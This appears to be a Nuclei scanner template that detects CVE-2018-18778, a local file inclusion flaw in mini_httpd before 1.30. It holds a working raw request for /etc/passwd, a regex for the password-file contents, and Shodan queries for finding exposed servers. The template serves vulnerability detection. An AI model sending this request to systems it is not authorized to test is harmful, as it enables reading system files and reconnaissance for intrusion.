id: CVE-2018-18778 info: name: ACME mini_httpd <1.30 - Local File Inclusion author: DhiyaneshDK,dogasantos severity: medium description: ACME mini_httpd before 1.30 is vulnerable to local file inclusion. impact: | Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server. remediation: | Upgrade ACME mini_httpd to version 1.30 or later to mitigate this vulnerability. reference: - https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/ - http://www.acme.com/software/mini_httpd/ - https://nvd.nist.gov/vuln/detail/CVE-2018-18778 - https://github.com/0xT11/CVE-POC - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2018-18778 cwe-id: CWE-200 epss-score: 0.93095 epss-percentile: 0.99799 cpe: cpe:2.3:a:acme:mini-httpd:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: acme product: mini-httpd shodan-query: - 'Server: mini_httpd && 200' - cpe:"cpe:2.3:a:acme:mini-httpd" - "server: mini_httpd && 200" tags: cve,cve2018,lfi,mini_httpd,acme,vuln flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}" matchers: - type: word part: header words: - "Server: mini_httpd" internal: true - raw: - |+ GET /etc/passwd HTTP/1.1 Host: unsafe: true matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502207015b023c3cf31c95edbad7bccaf6e0fbbebfaee6e6806357c5209f8f6a05ddb0221009370878dd55a38f5b142a34431cf1c1aae4c7ae5eb5c1da6d1a7a420abf11d80:922c64590222798bb761d5b6d8e72950